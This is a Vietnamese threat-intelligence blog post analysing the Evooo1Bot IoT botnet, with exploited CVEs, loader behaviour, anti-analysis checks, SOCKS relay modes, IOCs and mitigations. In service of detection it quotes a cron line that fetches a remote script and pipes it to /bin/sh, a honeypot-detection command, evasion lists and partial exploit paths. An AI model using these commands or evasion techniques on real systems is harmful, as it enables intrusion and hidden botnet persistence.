Skip to main content

Command Palette

Search for a command to run...

Evooo1Bot: khi router bị nhiễm không còn là đạn dùng một lần mà trở thành hạ tầng cho thuê

Updated
25 min readView as Markdown
Evooo1Bot: khi router bị nhiễm không còn là đạn dùng một lần mà trở thành hạ tầng cho thuê

Tóm tắt

Evooo1Bot dùng lại nguyên engine DDoS từ mã nguồn Mirai bị rò rỉ công khai. Phần đó không có gì mới sau mười năm.

Cái mới nằm ở những thứ được gắn thêm vào: giao tiếp C2 mã hóa, scanner brute-force SSH, module SOCKS relay, credential sniffer, và một kho exploit tích hợp nhắm nhiều lỗ hổng đã biết. FortiGuard Labs đặt tên họ mã độc này theo chuỗi evooo1 được hardcode trong mọi binary, và ghi nhận hoạt động từ tháng 07/2026.

Điểm quan trọng nhất không phải danh sách tính năng mà là module SOCKS relay đã thay đổi bản chất kinh tế của một thiết bị bị nhiễm.

Với botnet DDoS truyền thống, router của bạn là đạn dùng một lần: bắn xong, bị phát hiện, bị vá, hết giá trị. Với Evooo1Bot, nó trở thành hạ tầng tái sử dụng được — một node proxy có thể dùng để ẩn nguồn gốc tấn công, vượt giới hạn địa lý, làm bàn đạp vào mạng nội bộ, hoặc đơn giản là bán trên thị trường residential proxy. Fortinet đánh giá đây là năng lực đáng chú ý nhất về mặt vận hành của cả họ mã độc.

Hành động ưu tiên: rà xem có thiết bị mạng nào trong môi trường đang mở listener trên cổng TCP 1080, hoặc phát ra kết nối SSH đi ra internet — cả hai đều là hành vi gần như không bao giờ hợp lệ với router hay camera.


Phát hiện và vector lây nhiễm

Evooo1Bot lọt vào tầm ngắm của Fortinet qua telemetry IPS. Họ quan sát thấy các nỗ lực khai thác nhắm nhiều loại thiết bị biên, và điểm chung là toàn bộ payload callback đều trỏ về cùng một loader URL: 91.92.40[.]118/wget.sh.

Mười lỗ hổng được quan sát khai thác trong traffic thực tế, trải dài từ 2007 tới 2025:

CVE Sản phẩm mục tiêu
CVE-2007-3010 Alcatel OmniPCX Enterprise — RCE
CVE-2016-6277 Nhiều dòng router NETGEAR — RCE
CVE-2018-14558 Tenda AC7, AC9, AC10 — command injection
CVE-2019-14931 Mitsubishi Electric ME-RTU và INEA ME-RTU — command injection
CVE-2020-10987 Tenda AC1900 (AC15) — RCE
CVE-2021-46422 Telesquare SDT-CW3B1 — command injection
CVE-2022-37055 Router D-Link — buffer overflow
CVE-2024-29269 Telesquare TLR-2005KSH — command injection
CVE-2025-10123 D-Link DIR-823X — command injection
CVE-2025-55583 D-Link DIR-868L B1 — command injection

Việc duy trì cả lỗ hổng từ 2007 lẫn lỗ hổng công bố năm 2025 là lựa chọn có chủ đích: thiết bị nhúng có vòng đời rất dài, và một CVE gần hai mươi năm tuổi vẫn còn mục tiêu sống. Cần lưu ý rằng nhiều CVE trong danh sách này được chia sẻ rộng rãi trong hệ sinh thái botnet IoT — việc chúng xuất hiện ở đây không phải dấu hiệu riêng của Evooo1Bot.

Payload trong pcap khai thác

Payload quan sát được trong pcap của lưu lượng khai thác (nguồn: FortiGuard Labs).

Script wget.sh tải và thực thi binary khớp với kiến trúc CPU của máy chủ, thử 12 biến thể qua wget, rồi busybox wget, rồi curl, rồi tftp theo đúng thứ tự đó. Binary được ghi vào đường dẫn tạm, cấp quyền thực thi, chạy — và bash history bị xóa sau khi nhiễm.

wget.sh

Script loader wget.sh (nguồn: FortiGuard Labs).

Nhãn chiến dịch: operator đang đo hiệu quả từng exploit

Đây là chi tiết tôi cho là đáng phân tích riêng.

Mỗi lần khai thác mang theo một nhãn chiến dịch nhúng ngay trong lệnh tải — ví dụ -s mitsu cho các mục tiêu Mitsubishi Electric, và rep.alcatel cho các mục tiêu Alcatel-Lucent. Fortinet nhận định điều này cho thấy operator tự theo dõi tỷ lệ nhiễm theo từng lỗ hổng một cách độc lập.

Đây là hành vi kiểu phân tích sản phẩm, không phải kiểu chạy script cho vui. Họ đang đo xem exploit nào mang lại nhiều thiết bị nhất trên mỗi đơn vị công sức, và nhiều khả năng dùng số liệu đó để quyết định đầu tư tiếp vào đâu. Với một dự án mà giá trị đầu ra là số node proxy khả dụng, việc đo lường như vậy hoàn toàn hợp lý về mặt kinh doanh.


Chống phân tích: mức đầu tư vượt mặt bằng Mirai

Trước khi chạy, binary kiểm tra bốn nhóm dấu hiệu môi trường phân tích. Danh sách rất dài, và bản thân độ dài đó là thông tin.

Kiểm tra sự tồn tại của file: strace, ltrace, gdb, lldb, valgrind, perf, radare2, r2, rizin, cutter, iaito, ghidra, ghidraRun, ida, ida64, idat, idat64, objdump, readelf, retdec-decompiler, wireshark, tshark, tcpdump, ngrep, ettercap, yara, ssdeep, binwalk, foremost, sysdig, bpftrace, auditd, ausearch, fatrace, inotifywait, lynis, rkhunter, chkrootkit, clamdscan, clamscan, volatility, vol.py, gcore.

Kiểm tra tên tiến trình đang chạy: gdb, lldb, strace, ltrace, radare2, r2, rizin, rr, valgrind, perf, ida, ida64, ghidra, sysdig, bpftrace, frida, frida-server.

Kiểm tra tên dịch vụ sandbox: sandboxie, cuckoo, anubis, threatexpert, joebox, comodo, hybrid-analysis, cape-sandbox, fireeye, normanbox, drakvuf.

Kiểm tra dấu vân VM và container: vmware, vbox, virtualbox, qemu, firejail, bubblewrap, gvisor, kata, cuckoo, joesandbox, cape, any.run, hybrid-analysis.

Nhóm cuối đáng chú ý: firejail, bubblewrap, gvisorkata không phải máy ảo cổ điển mà là các công nghệ sandbox và container hiện đại. Việc kiểm tra chúng cho thấy tác giả cập nhật theo cách các nhà nghiên cứu thực sự đang làm việc, chứ không sao chép một danh sách cũ.

Về bảo vệ chuỗi, hơn 60 khối chuỗi mã hóa được xử lý bằng cùng một quy trình giải mã, dùng AES-256-CTR và ChaCha20. Khóa không lưu trực tiếp trong binary: mỗi khóa được tách thành hai hằng 32-byte nhúng trong section .data và ghép lại lúc runtime bằng phép XOR. Ngoài ra còn một lớp XOR riêng áp cho một tập chuỗi trong .rodata (khóa 0x43 trong bản dựng i386).

Chuỗi mã hóa

Chuỗi ở trạng thái mã hóa trong binary (nguồn: FortiGuard Labs).

Nhận định của tôi cho phần này: đây là mức đầu tư chống phân tích vượt xa mặt bằng của mã độc phái sinh từ Mirai. Phần lớn biến thể Mirai không obfuscate chuỗi, hoặc chỉ dùng một phép XOR đơn giản với khóa nằm ngay cạnh dữ liệu. Tác giả Evooo1Bot kỳ vọng mẫu của mình sẽ bị phân tích, và đã chuẩn bị cho điều đó.

Sau khi vượt qua toàn bộ kiểm tra, binary kết nối tới C2 trên cổng 443 — Fortinet ghi rõ cổng này được chọn để hòa lẫn vào lưu lượng HTTPS thông thường ở vành đai mạng.


Kiến trúc module: 28 lệnh

Module Lệnh Mô tả
Persistence !persist Cài đồng thời toàn bộ cơ chế duy trì
Self-Update !reinstall Tải và thay thế binary đang chạy
Control !kill !exit !info Kết thúc bot, thoát êm, hoặc trả về thông tin hệ thống
File Transfer !download !upload Hai chiều; giới hạn 10 MB; phân tách bằng marker __FILE_START____FILE_END__
Interactive Shell !shell !exec !stream !detach !bg Mở PTY qua /dev/ptmx, đặt TERM=xterm-256color, hỗ trợ chạy nền và detach
Sniffer !sniff !stopsniff Đọc /proc/net/tcp, chặn header HTTP Basic Authorization và Cookie, ghi vào /tmp/.sniff.log
SOCKS Relay !socks !socksauth !stopsocks Biến nạn nhân thành node proxy, có tùy chọn xác thực, relay lưu lượng TCP tùy ý
SSH Scanner !ssh !stopssh !enableautossh !disableautossh SSH client tích hợp, từ điển hơn 150 credential
DDoS !attack !stopattack 16 phương thức flood
CVE Exploit !cve !stopcve !cveall Dispatcher exploit qua HTTP, payload host do operator cung cấp (MODE:all để quét đồng thời)

Ba lệnh !cve, !stopcve!cveall chỉ có trong phiên bản mới nhất — các bản dựng trước đó hỗ trợ toàn bộ lệnh còn lại.

Persistence: năm cơ chế cùng lúc

Một lệnh !persist cài đồng thời tất cả:

systemd service   Unit file với Description=Apache HTTPD Cache Manager, Restart=always
SysV init         Script trong /etc/init.d với header ### BEGIN INIT INFO
cron              Tải lại script mỗi 5 phút:
                  */5 * * * * /bin/sh -c '(wget -qO- <URL> || curl -sL <URL>) | /bin/sh ...'
Shell profile     Injection vào /etc/profile.d/, chạy khi đăng nhập
rc.local          Append script tải payload vào /etc/rc.local

Việc đặt tên unit file là Apache HTTPD Cache Manager là lựa chọn khá tốt về mặt ngụy trang: nó nghe hợp lý trên một máy chủ Linux và không kích hoạt phản xạ nghi ngờ của người quản trị đang lướt qua danh sách service.

Để chống bị kết thúc, binary ghi vào /proc/self/oom_score_adj nhằm giảm mức ưu tiên của OOM-killer, và giữ /dev/watchdog mở để ngăn thiết bị tự khởi động lại.

Chi tiết thứ hai đặc biệt tinh vi và đáng ghi nhớ. Watchdog là cơ chế mà rất nhiều thiết bị nhúng dùng để tự phục hồi khi treo — nếu tiến trình giám sát không "vỗ về" watchdog trong khoảng thời gian quy định, thiết bị tự reboot. Bằng cách giữ handle mở, mã độc vô hiệu hóa chính cơ chế tự phục hồi đó. Nói cách khác, lời khuyên quen thuộc "khởi động lại router để xóa mã độc IoT" bị vô hiệu hóa từ trước.


SOCKS relay: hai chế độ, và vì sao reverse mode quan trọng hơn

SOCKS relay

Module SOCKS relay trong mã nguồn được phân tích (nguồn: FortiGuard Labs).

Khác với các lệnh botnet thông thường vốn tập trung vào tải payload hoặc phát động tấn công, !socks biến máy nhiễm thành một proxy SOCKS5 mà operator có thể dùng làm trạm trung chuyển mạng.

Direct mode. Bot mở listener SOCKS5 trên máy nhiễm ở cổng TCP mặc định 1080 và chờ kết nối từ client. Cách triển khai thử tạo listener IPv6 dual-stack trước, và fallback sang IPv4 nếu thất bại. Mỗi client được chấp nhận sẽ được chuyển cho hàm xử lý phiên.

Reverse mode. Thay vì phơi một cổng lắng nghe, bot thiết lập kết nối mã hóa đi ra tới một relay server do operator chỉ định. Kênh điều khiển thường trực này lắng nghe các lệnh dạng RELAY_NEW:<session_id>, báo hiệu cần tạo một phiên proxy mới.

Khi nhận yêu cầu, bot mở kết nối mã hóa thứ hai tới cùng relay server, đăng ký nó bằng RELAY_DATA:<session_id>, rồi bàn giao kết nối cho hàm xử lý proxy SOCKS5. Kiến trúc này tách kênh điều khiển khỏi lưu lượng proxy, cho phép nhiều phiên chạy độc lập trong khi vẫn duy trì một kết nối điều khiển ổn định.

Với người làm phòng thủ, reverse mode là chế độ đáng lo hơn nhiều. Direct mode để lại một cổng mở — thứ mà quét mạng định kỳ có thể bắt được. Reverse mode không mở cổng nào trên thiết bị nạn nhân, nên không có dấu hiệu nào ở phía ngoài để phát hiện; nó trông giống một kết nối TLS đi ra bình thường trên cổng 443.

Fortinet chỉ ra rõ giá trị mà điều này mang lại cho kẻ tấn công: địa chỉ IP của nạn nhân được dùng để ngụy trang lưu lượng độc hại, vượt qua giới hạn theo khu vực địa lý, hoặc cung cấp đường vào mạng nội bộ thông qua một máy đã bị chiếm. Với botnet quy mô lớn hơn, cùng chức năng đó có thể được dùng để xây dựng hạ tầng proxy phân tán, phục vụ chuyển tiếp lưu lượng ẩn danh hoặc thương mại hóa qua các dịch vụ residential và enterprise proxy.


Brute-force SSH và cơ chế né honeypot

Trước khi khởi động scanner, mã độc chạy hai lớp kiểm tra honeypot ở hai giai đoạn khác nhau của kết nối. Đây là phần tôi cho là có giá trị vận hành trực tiếp nhất trong toàn bộ báo cáo.

Lớp thứ nhất — trong lúc handshake giao thức, trước khi gửi bất kỳ credential nào. Scanner so banner SSH của mục tiêu với một danh sách cứng:

Cowrie SSH-2.0-paramiko SSH-2.0-Go
Kippo SSH-2.0-libssh SSH-2.0-Parks
HonSSH Twisted SSH-2.0-CISCO_WLC
Glutton russh_ SSH-2.0-Server
OpenCanary ssh2js SSH-2.0-MocanaSSH

Trùng bất kỳ mục nào khiến mục tiêu bị bỏ qua trong im lặng, không ghi log, không tương tác thêm.

Lớp thứ hai — sau khi đăng nhập thành công, trước khi giao payload persistence. Scanner chạy lệnh sau qua phiên đã thiết lập:

cat /proc/version 2>/dev/null; echo ---; cat /proc/1/cmdline 2>/dev/null; ls /opt/cowrie /home/cowrie /home/kippo 2>/dev/null

Output của /proc/version được kiểm tra xem có chứa chuỗi Linux version hay không. Nếu không, đó là dấu hiệu môi trường giả lập hoặc phi tiêu chuẩn, và mục tiêu bị bỏ qua. Lệnh ls phát hiện hai họ honeypot: Cowrie và Kippo. Thấy bất kỳ dấu hiệu nào, scanner từ bỏ mục tiêu.

Fortinet giải thích hai lớp này bổ sung cho nhau chứ không trùng lặp: lớp banner lọc các honeypot tự lộ qua định danh triển khai SSH của chúng; còn lớp thăm dò sau đăng nhập nhắm vào những honeypot có banner hợp lý nhưng lộ mình qua cấu trúc filesystem của máy chủ bên dưới. Chỉ những mục tiêu vượt qua cả ba điều kiện mới được giao payload.

Điều này có một hệ quả rất cụ thể với các đội đang vận hành honeypot. Nếu tổ chức bạn dùng Cowrie hoặc Kippo để thu thập mẫu và đánh giá mối đe dọa SSH — đây là hai lựa chọn phổ biến nhất và thường là mặc định — thì bạn sẽ không bắt được họ mã độc này, và bạn cũng sẽ không thấy dấu vết nào cho thấy nó đã ghé qua, vì mã độc bỏ đi trong im lặng ngay ở tầng banner. Số liệu về mối đe dọa SSH mà bạn đang dựa vào đang thiếu Evooo1Bot, và nhiều khả năng thiếu cả các họ mã độc khác áp dụng cùng kỹ thuật. Nếu honeypot là một phần trong quy trình TI của bạn, đây là lý do cụ thể để cân nhắc bổ sung các implementation ít phổ biến hơn hoặc tùy biến banner mặc định.

Sau khi vượt kiểm tra, scanner dùng một SSH client tích hợp với banner SSH-2.0-OpenSSH_9.7p1.

Credential hardcode

Từ điển credential được hardcode trong binary (nguồn: FortiGuard Labs).

Từ điển credential có mùi doanh nghiệp

Từ điển nhúng chứa hơn 150 entry. Ngoài các credential mặc định IoT thông thường, danh sách còn bao gồm tên tài khoản dịch vụ: jenkins, postgres, oracle, nagios, deploy.

Fortinet nói rõ đây là những tên phổ biến trong môi trường doanh nghiệp và công nghệ vận hành hơn là trên router tiêu dùng.

Kết hợp chi tiết này với các thành phần khác trong bức tranh — CVE-2019-14931 nhắm thiết bị RTU công nghiệp của Mitsubishi Electric, và module exploit chứa cả Kubernetes ingress-nginx cùng Atlassian Confluence — kết luận trở nên rõ: đây không phải một botnet chỉ săn router nhà dân. Tác giả đã tính đến việc mã độc sẽ hạ cánh trên máy chủ và thiết bị vận hành, và chuẩn bị từ điển tương ứng.


Engine DDoS

Phần này giữ nguyên cấu trúc của mã nguồn Mirai bị rò rỉ. Biến thể HTTP flood hỗ trợ các giá trị METHOD, HEADEREXPECT do operator chỉ định, và dựng request với User-Agent cùng Content-Length tùy biến.

ID Phương thức Mô tả
0x00 udp UDP flood thông thường
0x01 vse Khuếch đại truy vấn Valve Source Engine
0x02 dns DNS flood
0x03 syn TCP SYN flood
0x04 ack TCP ACK flood
0x05 stomp TCP STOMP
0x06 greip GRE-encapsulated IP flood
0x07 greeth GRE-encapsulated Ethernet flood
0x08 udpplain UDP tốc độ gói cao, header tối thiểu
0x09 std UDP flood với payload độ dài ngẫu nhiên
0x0a xmas TCP bật toàn bộ flag
0x0b usyn Biến thể URG+SYN
0x0c tcpall TCP với tổ hợp flag tùy ý
0x0d tcpfrag TCP flood phân mảnh
0x0e ovh Kỹ thuật thiết kế để vượt cơ chế chống DDoS của OVH
0x0f asyn SYN flood bất đồng bộ

Module exploit tích hợp chứa một bảng CVE dạng plaintext trong binary, mỗi entry ánh xạ một CVE tới một hoặc nhiều chuỗi HTTP request. Operator cung cấp payload host lúc runtime qua !cve <url> hoặc !cveall <url>:

CVE Sản phẩm Đường dẫn
CVE-2021-36260 Camera IP Hikvision /SDK/webLanguage
CVE-2022-26134 Atlassian Confluence /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils
CVE-2022-30525 Zyxel Firewall /ztp/cgi-bin/handler
CVE-2023-1389 TP-Link Archer AX21 /cgi-bin/luci/;stok=/locale
CVE-2024-4577 PHP-CGI (Windows) allow_url_include%3D
CVE-2024-10914 D-Link NAS /cgi-bin/account_mgr.cgi
CVE-2025-1974 Kubernetes ingress-nginx /apis/networking/v1/ingresses
CVE-2022-29464 Sản phẩm WSO2 /fileupload/

IOC

IOC lấy từ báo cáo của FortiGuard Labs ngày 13/08/2026. IP đã defang.

Hạ tầng

91.92.40[.]118                      # máy chủ loader và C2
hxxp://91.92.40[.]118/wget.sh       # script loader, tải 12 biến thể theo kiến trúc CPU
 
Cổng C2: TCP 443                    # chọn để hòa lẫn vào lưu lượng HTTPS ở vành đai

Hash mẫu (SHA-256)

f13cb360768363d3424e2192c7805b8c8015eb8706dbbbcdead6aed8cf390109
4c0886349e9d348569fffe1b7a31e474d514508bf0cd6f1e5dd99c2a73525e4d

Artifact trên thiết bị

# Chuỗi định danh
evooo1                              # hardcode trong mọi binary của họ mã độc này
 
# Persistence
systemd unit với Description=Apache HTTPD Cache Manager và Restart=always
Script trong /etc/init.d/ với header ### BEGIN INIT INFO
Cron entry chạy mỗi 5 phút, gọi wget hoặc curl pipe vào /bin/sh
File injection trong /etc/profile.d/
Dòng append bất thường trong /etc/rc.local
 
# Chống kết thúc
Giá trị bất thường trong /proc/self/oom_score_adj
Tiến trình giữ handle /dev/watchdog mở
 
# Sniffer
/tmp/.sniff.log                     # nơi lưu credential HTTP Basic Auth và Cookie thu được
Tiến trình đọc /proc/net/tcp bất thường

Artifact mạng

# SOCKS relay
Listener trên cổng TCP 1080 từ router, camera hoặc thiết bị nhúng   (direct mode)
Kết nối TLS đi ra dài hạn tới địa chỉ lạ trên cổng 443 từ thiết bị nhúng   (reverse mode)
 
# Marker giao thức relay
RELAY_NEW:<session_id>
RELAY_DATA:<session_id>
 
# Marker truyền file
__FILE_START__
__FILE_END__
 
# SSH scanner
Banner client: SSH-2.0-OpenSSH_9.7p1
Kết nối SSH đi ra từ thiết bị mạng tới internet
 
# Nhãn chiến dịch trong lệnh tải
-s mitsu                            # mục tiêu Mitsubishi Electric
rep.alcatel                         # mục tiêu Alcatel-Lucent

CVE bị khai thác — lây nhiễm ban đầu

CVE-2007-3010     Alcatel OmniPCX Enterprise
CVE-2016-6277     NETGEAR (nhiều dòng router)
CVE-2018-14558    Tenda AC7 / AC9 / AC10
CVE-2019-14931    Mitsubishi Electric ME-RTU, INEA ME-RTU
CVE-2020-10987    Tenda AC1900 (AC15)
CVE-2021-46422    Telesquare SDT-CW3B1
CVE-2022-37055    Router D-Link
CVE-2024-29269    Telesquare TLR-2005KSH
CVE-2025-10123    D-Link DIR-823X
CVE-2025-55583    D-Link DIR-868L B1

CVE trong module exploit

CVE-2021-36260    Camera IP Hikvision
CVE-2022-26134    Atlassian Confluence
CVE-2022-29464    Sản phẩm WSO2
CVE-2022-30525    Zyxel Firewall
CVE-2023-1389     TP-Link Archer AX21
CVE-2024-4577     PHP-CGI (Windows)
CVE-2024-10914    D-Link NAS
CVE-2025-1974     Kubernetes ingress-nginx

Coverage của Fortinet

FortiGuard Antivirus: Linux/Agent.BDS!tr
 
IPS signature (15):
  alcatel-lucent.omnipcx.office.mastercgi.user.command.execution     CVE-2007-3010
  NETGEAR.WebServer.Module.Command.Injection                         CVE-2016-6277
  Tenda.AC15.AC1900.Authenticated.Remote.Command.Injection           CVE-2018-14558, CVE-2020-10987
  mitsubishi.electric.me-rtu.command.injection                       CVE-2019-14931
  Hikvision.Products.SDK.WebLanguage.Tag.Command.Injection           CVE-2021-36260
  Telesquare.SDT-CW3B1.Command.Injection                             CVE-2021-46422, CVE-2024-29269
  HTTP.URI.Java.Expression.Language.Code.Injection                   CVE-2022-26134
  WSO2.fileupload.Arbitrary.File.Upload                              CVE-2022-29464
  Zyxel.Firewall.ZTP.Command.Injection                               CVE-2022-30525
  D-link.go-rt-ac750.hnap_main.buffer.overflow                       CVE-2022-37055
  TP-Link.Archer.AX21.luci.stok.Command.Injection                    CVE-2023-1389
  D-Link.Devices.account_mgr.cgi.Command.Injection                   CVE-2024-10914
  PHP.CGI.Argument.Injection                                         CVE-2024-4577
  D-Link.DIR-823X.set_static_leases.Command.Injection                CVE-2025-10123
  D-Link.DIR-868L.fileaccess.cgi.Command.Injection                   CVE-2025-55583

MITRE ATT&CK Mapping

Tactic Technique ID Technique Name Ghi nhận trong chiến dịch
Initial Access T1190 Exploit Public-Facing Application 10 CVE trên thiết bị biên
Initial Access T1110.001 Brute Force: Password Guessing Scanner SSH với từ điển hơn 150 entry
Initial Access T1078.001 Valid Accounts: Default Accounts Credential mặc định IoT
Execution T1059.004 Command and Scripting Interpreter: Unix Shell wget.sh, PTY shell tương tác
Persistence T1543.002 Create or Modify System Process: Systemd Service Unit Apache HTTPD Cache Manager
Persistence T1053.003 Scheduled Task/Job: Cron Tải lại payload mỗi 5 phút
Persistence T1037.004 Boot or Logon Initialization Scripts: RC Scripts /etc/init.d, /etc/rc.local
Persistence T1546.004 Event Triggered Execution: Unix Shell Configuration Modification Injection vào /etc/profile.d/
Defense Evasion T1036.005 Masquerading: Match Legitimate Name or Location Unit file giả danh Apache HTTPD
Defense Evasion T1027 Obfuscated Files or Information AES-256-CTR, ChaCha20, XOR nhiều lớp
Defense Evasion T1140 Deobfuscate/Decode Files or Information Khóa tách đôi, ghép bằng XOR lúc runtime
Defense Evasion T1497.001 Virtualization/Sandbox Evasion: System Checks Kiểm tra VM, container, sandbox, honeypot
Defense Evasion T1622 Debugger Evasion Kiểm tra file và tiến trình của hơn 50 công cụ phân tích
Defense Evasion T1070.003 Indicator Removal: Clear Command History Xóa bash history sau khi nhiễm
Credential Access T1040 Network Sniffing Đọc /proc/net/tcp, chặn HTTP Basic Auth và Cookie
Command and Control T1573.001 Encrypted Channel: Symmetric Cryptography C2 mã hóa; kênh relay mã hóa
Command and Control T1571 Non-Standard Port Cổng 443 dùng cho giao thức C2 riêng, không phải HTTPS
Command and Control T1090.001 Proxy: Internal Proxy Listener SOCKS5 trên cổng 1080
Command and Control T1090.003 Proxy: Multi-hop Proxy Reverse relay qua máy chủ của operator
Command and Control T1105 Ingress Tool Transfer wget.sh và lệnh !download
Impact T1498 Network Denial of Service 16 phương thức DDoS
Impact T1498.001 Direct Network Flood UDP, SYN, ACK, GRE và các biến thể khác

Nhận định

Kinh tế học của botnet IoT đang thay đổi, và Evooo1Bot là một ví dụ rõ.

Với một botnet DDoS thuần túy, mỗi thiết bị bị nhiễm là tài nguyên tiêu hao. Nó tham gia vài đợt tấn công, có thể bị nhà mạng chặn hoặc chủ sở hữu vá, rồi biến mất. Mô hình doanh thu là bán theo giây hoặc theo đợt tấn công, và operator phải liên tục bù đắp số bot mất đi.

Với module SOCKS relay, cùng một thiết bị đó trở thành hạ tầng có giá trị lặp lại. Một router ở dải IP dân cư của một nhà mạng là thứ có thị trường thật: dịch vụ residential proxy bán quyền định tuyến lưu lượng qua IP dân cư hợp lệ, và khách hàng của loại dịch vụ đó trả tiền hàng tháng chứ không theo giây. Fortinet nêu thẳng khả năng thương mại hóa này trong phần kết luận.

Sự chuyển dịch đó kéo theo một thay đổi về động cơ: operator giờ có lý do để giữ thiết bị sống lâu và im lặng thay vì vắt kiệt nó. Điều đó giải thích rất nhiều lựa chọn thiết kế trong mã: lớp chống phân tích công phu, cơ chế né honeypot, việc giữ /dev/watchdog mở, và năm cơ chế persistence song song. Đây không phải mã độc được viết để bắn một lần.

Với doanh nghiệp, rủi ro lớn nhất không phải băng thông mà là danh tính. Khi thiết bị của bạn trở thành node SOCKS, lưu lượng tấn công vào tổ chức khác đi ra từ địa chỉ IP công cộng của bạn. Bạn xuất hiện trong log của nạn nhân ở nơi khác với vai trò hạ tầng tấn công, không phải nạn nhân. Kéo theo đó là rủi ro bị đưa vào danh sách chặn của các nhà cung cấp dịch vụ, rủi ro pháp lý, và rủi ro uy tín khi đối tác quốc tế rà soát — những thứ khó gỡ hơn nhiều so với việc dọn một con mã độc.

Về mức độ chín của mã. Lớp chống phân tích ở đây vượt xa mặt bằng Mirai-derived: hơn 60 khối chuỗi mã hóa bằng AES-256-CTR và ChaCha20, khóa tách đôi ghép runtime, và danh sách kiểm tra bao gồm cả gvisor với kata — những công nghệ mà chỉ người theo dõi sát cách giới nghiên cứu làm việc mới nghĩ tới. Cùng với đó là 28 lệnh, PTY shell đầy đủ, truyền file hai chiều có delimiter. Đây là một dự án được đầu tư nghiêm túc, không phải một biến thể Mirai chỉnh vài dòng.

Liên hệ Việt Nam

Danh sách thiết bị mục tiêu trúng gần như toàn bộ những gì phổ biến trong nước. Tenda, D-Link và TP-Link là ba thương hiệu router chiếm thị phần lớn ở phân khúc hộ gia đình và doanh nghiệp nhỏ tại Việt Nam. Camera Hikvision (CVE-2021-36260 trong module exploit) có mặt ở gần như mọi cửa hàng, văn phòng và tòa nhà. Đây không phải danh sách nhắm vào hạ tầng doanh nghiệp lớn — nó nhắm vào thứ nằm trong tủ mạng của mọi văn phòng nhỏ và trên trần của mọi cửa hàng.

Rủi ro không dừng ở lớp thiết bị mạng. Từ điển SSH chứa postgres, oracle, jenkins, nagios, deploy; module exploit chứa Kubernetes ingress-nginx và Atlassian Confluence; và danh sách CVE lây nhiễm có thiết bị RTU công nghiệp. Nếu tổ chức bạn có máy chủ ứng dụng hoặc hệ thống CI/CD nào lộ SSH ra internet với mật khẩu yếu, chúng nằm trong phạm vi của chiến dịch này.

Hai điểm phát hiện rẻ và ít nhiễu nhất. Thứ nhất: một router, camera hay đầu ghi hình mở kết nối SSH đi ra internet là hành vi gần như không bao giờ hợp lệ — thiết bị nhúng không có nhu cầu nghiệp vụ nào để làm việc đó. Thứ hai: listener trên cổng TCP 1080 từ một thiết bị mạng cũng vậy. Cả hai không cần biết trước tên mã độc và không đòi hỏi công cụ đắt tiền.

Reverse mode khó hơn đáng kể — nó chỉ trông như một kết nối TLS đi ra trên cổng 443. Ở đây thứ phân biệt được là tính bền của kết nối và bản chất của thiết bị: một camera IP duy trì kết nối TLS dài hạn tới một địa chỉ lạ ở nước ngoài không giống bất kỳ hoạt động hợp lệ nào của nó.

Cuối cùng, một lưu ý cho quy trình xử lý: vì mã độc giữ /dev/watchdog mở và cài năm cơ chế persistence song song, khởi động lại thiết bị không đủ. Cần khôi phục firmware về bản gốc mới nhất và đổi toàn bộ thông tin đăng nhập.


Khuyến nghị

  • Cập nhật firmware cho toàn bộ thiết bị biên theo danh sách CVE trong bài, ưu tiên Tenda, D-Link, TP-Link và camera Hikvision; thay thế thiết bị đã hết vòng đời hỗ trợ.

  • Đổi mật khẩu mặc định và tắt SSH/Telnet trên giao diện WAN của mọi router, camera, đầu ghi hình và thiết bị Linux nhúng; với máy chủ, dùng xác thực bằng khóa thay cho mật khẩu.

  • Cảnh báo trên hai hành vi cụ thể: thiết bị nhúng mở kết nối SSH đi ra internet, và listener trên cổng TCP 1080 từ phân đoạn mạng thiết bị.

  • Xây baseline cho kết nối đi ra của phân đoạn IoT và cảnh báo trên kết nối TLS dài hạn tới địa chỉ lạ trên cổng 443 — đây là cách duy nhất bắt được chế độ reverse relay.

  • Kiểm tra định kỳ IP công cộng của tổ chức trên các danh sách chặn và dịch vụ reputation — nếu thiết bị của bạn đang làm node proxy, đó có thể là dấu hiệu đầu tiên bạn nhận được.

  • Nếu nghi ngờ đã nhiễm, không chỉ khởi động lại: khôi phục firmware về bản gốc mới nhất, đổi toàn bộ credential, và rà soát các thiết bị khác trong cùng phân đoạn — module brute-force SSH lây lan theo chiều ngang trong mạng nội bộ.


Tài liệu tham khảo

More from this blog

F

FPT IS Security

955 posts

Dedicated to providing insightful articles on cybersecurity threat intelligence, aimed at empowering individuals and organizations to navigate the digital landscape safely.